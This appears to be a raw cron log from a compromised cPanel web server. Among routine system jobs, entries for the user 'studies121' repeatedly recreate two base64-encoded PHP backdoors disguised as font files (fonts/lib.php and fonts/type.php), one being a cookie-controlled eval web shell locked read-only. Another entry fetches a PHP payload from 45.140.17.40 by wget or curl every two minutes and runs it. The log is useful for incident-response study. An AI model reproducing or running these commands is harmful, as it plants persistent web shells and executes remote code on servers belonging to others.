Sep  6 02:30:02 ip-184-168-122-23 CROND[30637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:30:02 ip-184-168-122-23 CROND[30638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:30:02 ip-184-168-122-23 CROND[30646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:30:02 ip-184-168-122-23 CROND[30643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:30:02 ip-184-168-122-23 CROND[30644]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:30:02 ip-184-168-122-23 CROND[30645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:31:01 ip-184-168-122-23 CROND[30755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:31:01 ip-184-168-122-23 CROND[30758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:31:01 ip-184-168-122-23 CROND[30757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:31:01 ip-184-168-122-23 CROND[30759]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:31:01 ip-184-168-122-23 CROND[30756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:32:01 ip-184-168-122-23 CROND[30929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:32:01 ip-184-168-122-23 CROND[30930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:32:01 ip-184-168-122-23 CROND[30931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:32:01 ip-184-168-122-23 CROND[30932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:32:01 ip-184-168-122-23 CROND[30933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:33:01 ip-184-168-122-23 CROND[31025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:33:01 ip-184-168-122-23 CROND[31024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:33:01 ip-184-168-122-23 CROND[31027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:33:01 ip-184-168-122-23 CROND[31026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:34:01 ip-184-168-122-23 CROND[31103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:34:01 ip-184-168-122-23 CROND[31105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:34:01 ip-184-168-122-23 CROND[31106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:34:01 ip-184-168-122-23 CROND[31104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:34:01 ip-184-168-122-23 CROND[31108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:35:01 ip-184-168-122-23 CROND[31238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:35:02 ip-184-168-122-23 CROND[31243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:35:02 ip-184-168-122-23 CROND[31244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:35:02 ip-184-168-122-23 CROND[31241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:35:02 ip-184-168-122-23 CROND[31242]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:35:02 ip-184-168-122-23 CROND[31247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:35:02 ip-184-168-122-23 CROND[31246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:35:02 ip-184-168-122-23 CROND[31248]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 02:36:01 ip-184-168-122-23 CROND[31337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:36:01 ip-184-168-122-23 CROND[31339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:36:01 ip-184-168-122-23 CROND[31341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:36:01 ip-184-168-122-23 CROND[31342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:36:01 ip-184-168-122-23 CROND[31340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:37:01 ip-184-168-122-23 CROND[31437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:37:01 ip-184-168-122-23 CROND[31438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:37:01 ip-184-168-122-23 CROND[31439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:37:01 ip-184-168-122-23 CROND[31440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:38:01 ip-184-168-122-23 CROND[31599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:38:01 ip-184-168-122-23 CROND[31600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:38:01 ip-184-168-122-23 CROND[31602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:38:01 ip-184-168-122-23 CROND[31603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:38:01 ip-184-168-122-23 CROND[31601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:39:01 ip-184-168-122-23 CROND[31685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:39:01 ip-184-168-122-23 CROND[31689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:39:01 ip-184-168-122-23 CROND[31687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:39:01 ip-184-168-122-23 CROND[31690]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 02:39:01 ip-184-168-122-23 CROND[31691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:40:01 ip-184-168-122-23 CROND[31781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:40:01 ip-184-168-122-23 CROND[31784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:40:01 ip-184-168-122-23 CROND[31785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:40:01 ip-184-168-122-23 CROND[31786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:40:01 ip-184-168-122-23 CROND[31787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:40:01 ip-184-168-122-23 CROND[31789]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:40:01 ip-184-168-122-23 CROND[31790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:40:01 ip-184-168-122-23 CROND[31791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:41:01 ip-184-168-122-23 CROND[31880]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  6 02:41:01 ip-184-168-122-23 CROND[31881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:41:01 ip-184-168-122-23 CROND[31883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:41:01 ip-184-168-122-23 CROND[31884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:41:01 ip-184-168-122-23 CROND[31882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:42:01 ip-184-168-122-23 CROND[31967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:42:01 ip-184-168-122-23 CROND[31968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
